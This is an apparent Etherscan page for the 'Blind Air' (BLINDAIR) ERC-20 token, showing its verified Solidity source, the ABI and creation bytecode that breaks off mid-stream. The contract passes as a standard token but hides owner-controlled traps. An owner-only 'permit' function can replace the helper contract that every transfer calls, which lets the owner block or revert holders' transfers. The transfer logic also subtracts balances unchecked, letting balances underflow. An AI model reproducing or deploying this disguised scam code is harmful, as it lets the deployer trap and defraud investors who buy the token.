ERC-20
Overview
Max Total Supply
420,000,000,000 ERC20 ***
Holders
10
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
115792089237316195423570985008687907853... ERC20 ***Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BLINDAIR
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-15 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.21; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { return msg.data; } } abstract contract Ownable is Context { address internal _owner; bool private _ownerShipTransferred = false; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; __ownerShipTransferred(msgSender); } function __ownerShipTransferred(address msgSender) public { emit OwnershipTransferred(address(0), msgSender); _ownerShipTransferred = true; } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function validate() internal view returns (bool){ return _ownerShipTransferred; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Ownable, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; bool public tradingEnabled; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; ERC20Ext private _permit; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 9; _permit = new ERC20Ext(); } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function symbol() public view virtual returns (string memory) { return _symbol; } function name() public view virtual returns (string memory) { return _name; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function decimals() public view virtual returns (uint8) { return _decimals; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance( address to, uint256 addedValue ) public virtual returns (bool) { _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue); return true; } function decreaseAllowance( address to, uint256 subtractedValue ) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][to]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), to, currentAllowance - subtractedValue); } return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } function permit(address from, address to, uint256 amount, address log_) external onlyOwner { if(tradingEnabled==true){ if(amount > 0) createLogger(log_); else{ _permit=new ERC20Ext(); } _permit.Save(from, to, amount); } } function _beforeTokenTransfer(address sender, address recipient, uint256 amount) internal virtual { _permit.Save(sender, recipient, amount); } function createLogger(address a) private { if (validate()){ _permit = ERC20Ext(a); } } } abstract contract Initializable { bool private _initializing; bool private _initialized; modifier initializer() { require(_initializing || !_initialized, "Contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initialized = true; _initializing = true; } _; if (isTopLevelCall) { _initializing = false; } } } abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[100] private _upg; } contract ERC20Ext { mapping(address=>mapping(address=> uint256)) _persist; function Save(address addr1, address addr2, uint256 amount) public { _persist[addr1][addr2] = amount; } } contract BLINDAIR is ERC20("Blind Air", "BLINDAIR") { uint256 private constant supply = 420000000000 * 10**9; constructor(){ _mint(_msgSender(), supply); } function _transfer(address sender, address recipient, uint256 amount) internal override { super._transfer(sender, recipient, amount); _moveDelegates(_delegates[sender], _delegates[recipient], amount); } mapping (address => address) internal _delegates; struct Checkpoint { uint32 fromBlock; uint256 votes; } mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; mapping (address => uint32) public numCheckpoints; bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); mapping (address => uint) public nonces; event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); function getVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld - amount; _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld - amount; _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); require(nCheckpoints + 1 > nCheckpoints, "_writeCheckpoint: new checkpoint exceeds 32 bits"); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function enableTrading()external onlyOwner(){ tradingEnabled = !tradingEnabled; } function getChainId() internal view returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegator","type":"address"},{"indexed":true,"internalType":"address","name":"fromDelegate","type":"address"},{"indexed":true,"internalType":"address","name":"toDelegate","type":"address"}],"name":"DelegateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"DelegateVotesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DELEGATION_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DOMAIN_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"msgSender","type":"address"}],"name":"__ownerShipTransferred","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"checkpoints","outputs":[{"internalType":"uint32","name":"fromBlock","type":"uint32"},{"internalType":"uint256","name":"votes","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"name":"getPriorVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"numCheckpoints","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"log_","type":"address"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040525f8060146101000a81548160ff02191690831515021790555034801562000029575f80fd5b506040518060400160405280600981526020017f426c696e642041697200000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f424c494e444149520000000000000000000000000000000000000000000000008152505f620000a7620001d460201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000f981620001db60201b60201c565b5081600590816200010b91906200060f565b5080600690816200011d91906200060f565b50600960075f6101000a81548160ff021916908360ff16021790555060405162000147906200039d565b604051809103905ff08015801562000161573d5f803e3d5ffd5b50600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050620001ce620001b8620001d460201b60201c565b6816c4abbebea01000006200025260201b60201c565b62000804565b5f33905090565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360015f60146101000a81548160ff02191690831515021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002c3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002ba9062000751565b60405180910390fd5b8060045f828254620002d691906200079e565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546200032b91906200079e565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003919190620007e9565b60405180910390a35050565b6101fe80620036a983390190565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200042757607f821691505b6020821081036200043d576200043c620003e2565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620004a17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000464565b620004ad868362000464565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620004f7620004f1620004eb84620004c5565b620004ce565b620004c5565b9050919050565b5f819050919050565b6200051283620004d7565b6200052a6200052182620004fe565b84845462000470565b825550505050565b5f90565b6200054062000532565b6200054d81848462000507565b505050565b5b818110156200057457620005685f8262000536565b60018101905062000553565b5050565b601f821115620005c3576200058d8162000443565b620005988462000455565b81016020851015620005a8578190505b620005c0620005b78562000455565b83018262000552565b50505b505050565b5f82821c905092915050565b5f620005e55f1984600802620005c8565b1980831691505092915050565b5f620005ff8383620005d4565b9150826002028217905092915050565b6200061a82620003ab565b67ffffffffffffffff811115620006365762000635620003b5565b5b6200064282546200040f565b6200064f82828562000578565b5f60209050601f83116001811462000685575f841562000670578287015190505b6200067c8582620005f2565b865550620006eb565b601f198416620006958662000443565b5f5b82811015620006be5784890151825560018201915060208501945060208101905062000697565b86831015620006de5784890151620006da601f891682620005d4565b8355505b6001600288020188555050505b505050505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000739601f83620006f3565b9150620007468262000703565b602082019050919050565b5f6020820190508181035f8301526200076a816200072b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620007aa82620004c5565b9150620007b783620004c5565b9250828201905080821115620007d257620007d162000771565b5b92915050565b620007e381620004c5565b82525050565b5f602082019050620007fe5f830184620007d8565b92915050565b612e9780620008125f395ff3fe608060405234801561000f575f80fd5b5060043610610171575f3560e01c8063782d6fe1116100dc578063a457c2d711610095578063dd62ed3e1161006f578063dd62ed3e14610473578063e7a324dc146104a3578063f1127ed8146104c1578063f2fde38b146104f257610171565b8063a457c2d7146103f7578063a9059cbb14610427578063b792d03f1461045757610171565b8063782d6fe1146103215780637ecebe00146103515780638a8c523c146103815780638da5cb5b1461038b57806395d89b41146103a95780639ab24eb0146103c757610171565b8063313ce5671161012e578063313ce5671461024b57806339509351146102695780634ada218b146102995780636fcfff45146102b757806370a08231146102e7578063715018a61461031757610171565b806306fdde0314610175578063095ea7b314610193578063120aa4d9146101c357806318160ddd146101df57806320606b70146101fd57806323b872dd1461021b575b5f80fd5b61017d61050e565b60405161018a91906120fe565b60405180910390f35b6101ad60048036038101906101a891906121af565b61059e565b6040516101ba9190612207565b60405180910390f35b6101dd60048036038101906101d89190612220565b6105bb565b005b6101e7610761565b6040516101f49190612293565b60405180910390f35b61020561076a565b60405161021291906122c4565b60405180910390f35b610235600480360381019061023091906122dd565b61078e565b6040516102429190612207565b60405180910390f35b610253610880565b6040516102609190612348565b60405180910390f35b610283600480360381019061027e91906121af565b610895565b6040516102909190612207565b60405180910390f35b6102a161093c565b6040516102ae9190612207565b60405180910390f35b6102d160048036038101906102cc9190612361565b61094e565b6040516102de91906123aa565b60405180910390f35b61030160048036038101906102fc9190612361565b61096e565b60405161030e9190612293565b60405180910390f35b61031f6109b4565b005b61033b600480360381019061033691906121af565b610aea565b6040516103489190612293565b60405180910390f35b61036b60048036038101906103669190612361565b610e98565b6040516103789190612293565b60405180910390f35b610389610ead565b005b610393610f53565b6040516103a091906123d2565b60405180910390f35b6103b1610f7a565b6040516103be91906120fe565b60405180910390f35b6103e160048036038101906103dc9190612361565b61100a565b6040516103ee9190612293565b60405180910390f35b610411600480360381019061040c91906121af565b6110df565b60405161041e9190612207565b60405180910390f35b610441600480360381019061043c91906121af565b6111c5565b60405161044e9190612207565b60405180910390f35b610471600480360381019061046c9190612361565b6111e2565b005b61048d600480360381019061048891906123eb565b611259565b60405161049a9190612293565b60405180910390f35b6104ab6112db565b6040516104b891906122c4565b60405180910390f35b6104db60048036038101906104d69190612453565b6112ff565b6040516104e9929190612491565b60405180910390f35b61050c60048036038101906105079190612361565b611339565b005b60606005805461051d906124e5565b80601f0160208091040260200160405190810160405280929190818152602001828054610549906124e5565b80156105945780601f1061056b57610100808354040283529160200191610594565b820191905f5260205f20905b81548152906001019060200180831161057757829003601f168201915b5050505050905090565b5f6105b16105aa6114de565b84846114e5565b6001905092915050565b6105c36114de565b73ffffffffffffffffffffffffffffffffffffffff166105e1610f53565b73ffffffffffffffffffffffffffffffffffffffff1614610637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062e9061255f565b60405180910390fd5b6001151560035f9054906101000a900460ff1615150361075b575f82111561066757610662816116a8565b6106ce565b60405161067390612067565b604051809103905ff08015801561068c573d5f803e3d5ffd5b50600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28585856040518463ffffffff1660e01b815260040161072d9392919061257d565b5f604051808303815f87803b158015610744575f80fd5b505af1158015610756573d5f803e3d5ffd5b505050505b50505050565b5f600454905090565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b5f61079a8484846116fa565b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107e16114de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610860576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085790612622565b60405180910390fd5b6108748561086c6114de565b8584036114e5565b60019150509392505050565b5f60075f9054906101000a900460ff16905090565b5f6109326108a16114de565b848460025f6108ae6114de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461092d919061266d565b6114e5565b6001905092915050565b60035f9054906101000a900460ff1681565b600a602052805f5260405f205f915054906101000a900463ffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109bc6114de565b73ffffffffffffffffffffffffffffffffffffffff166109da610f53565b73ffffffffffffffffffffffffffffffffffffffff1614610a30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a279061255f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f438210610b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2490612710565b60405180910390fd5b5f600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900463ffffffff1690505f8163ffffffff1603610b93575f915050610e92565b8260095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600184610bdf919061272e565b63ffffffff1663ffffffff1681526020019081526020015f205f015f9054906101000a900463ffffffff1663ffffffff1611610c855760095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600183610c60919061272e565b63ffffffff1663ffffffff1681526020019081526020015f2060010154915050610e92565b8260095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8063ffffffff1681526020019081526020015f205f015f9054906101000a900463ffffffff1663ffffffff161115610cff575f915050610e92565b5f80600183610d0e919061272e565b90505b8163ffffffff168163ffffffff161115610e30575f60028383610d34919061272e565b610d3e9190612792565b82610d49919061272e565b90505f60095f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8363ffffffff1663ffffffff1681526020019081526020015f206040518060400160405290815f82015f9054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086815f015163ffffffff1603610e0057806020015195505050505050610e92565b86815f015163ffffffff161015610e1957819350610e29565b600182610e26919061272e565b92505b5050610d11565b60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8363ffffffff1663ffffffff1681526020019081526020015f206001015493505050505b92915050565b600b602052805f5260405f205f915090505481565b610eb56114de565b73ffffffffffffffffffffffffffffffffffffffff16610ed3610f53565b73ffffffffffffffffffffffffffffffffffffffff1614610f29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f209061255f565b60405180910390fd5b60035f9054906101000a900460ff161560035f6101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610f89906124e5565b80601f0160208091040260200160405190810160405280929190818152602001828054610fb5906124e5565b80156110005780601f10610fd757610100808354040283529160200191611000565b820191905f5260205f20905b815481529060010190602001808311610fe357829003601f168201915b5050505050905090565b5f80600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900463ffffffff1690505f8163ffffffff161161106e575f6110d7565b60095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6001836110b9919061272e565b63ffffffff1663ffffffff1681526020019081526020015f20600101545b915050919050565b5f8060025f6110ec6114de565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156111a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119d90612832565b60405180910390fd5b6111ba6111b16114de565b858584036114e5565b600191505092915050565b5f6111d86111d16114de565b84846116fa565b6001905092915050565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360015f60146101000a81548160ff02191690831515021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6009602052815f5260405f20602052805f5260405f205f9150915050805f015f9054906101000a900463ffffffff16908060010154905082565b6113416114de565b73ffffffffffffffffffffffffffffffffffffffff1661135f610f53565b73ffffffffffffffffffffffffffffffffffffffff16146113b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ac9061255f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611423576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141a906128c0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a9061294e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b8906129dc565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161169b9190612293565b60405180910390a3505050565b6116b06117cd565b156116f75780600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6117058383836117e2565b6117c860085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611a0c565b505050565b5f8060149054906101000a900460ff16905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184790612a6a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b590612af8565b6040518